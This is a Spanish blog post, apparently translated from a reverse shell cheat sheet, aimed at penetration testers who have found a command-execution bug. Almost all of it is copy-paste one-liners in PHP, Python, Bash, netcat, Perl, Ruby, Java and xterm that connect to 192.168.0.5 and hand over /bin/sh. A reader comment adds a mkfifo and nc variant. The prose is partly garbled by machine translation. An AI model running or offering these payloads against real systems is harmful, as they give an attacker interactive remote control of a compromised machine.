Post195 nn

INTRODUCCIÓN

 

Si tienes la suerte de encontrar una vulnerabilidad de ejecución de comandos durante una prueba de penetración, pronto querrás un shell interactivo.


Si no es posible agregar un nuevo archivo de cuenta / clave SSH / .rhosts e simplemente iniciar sesión, es probable que su próximo paso sea volver a truncar un shell inverso o unir un shell a un puerto TCP. Esta página trata de lo primero. Sus opciones para crear un shell inverso están limitadas por los lenguajes de script instalados en el sistema de destino, aunque probablemente también podría cargar un programa binario si está bien preparado.


Los ejemplos mostrados se adaptan a sistemas similares a Unix. Algunos de los ejemplos a continuación también deberían funcionar en Windows si usa el sustituto “/ bin / sh -i” con “cmd.exe”.


Cada uno de los métodos a continuación está dirigido a ser de una sola línea que puede copiar / pegar. Como tales, son líneas bastante cortas, pero no muy legibles.

 

Ejemplos

 

PHP

 

php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

 

PYTHON

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

BASH

 

bash -i >& /dev/tcp/192.168.0.5/4444 0>&1

 

NETCAT

 

nc -e /bin/sh 192.168.0.5 4444

 

PERL

 

perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

RUBY

 

ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

 

JAVA

 

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

 

XTERM

 

xterm -display 192.168.0.5:4444


Artículos que te pueden interesar

Zxxx
Jerson Jair Vasco Upegui
ha comentado hace 5 meses

Sin embargo, nc no siempre acepta el parametro -e .esta puede ser otra alternativa: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f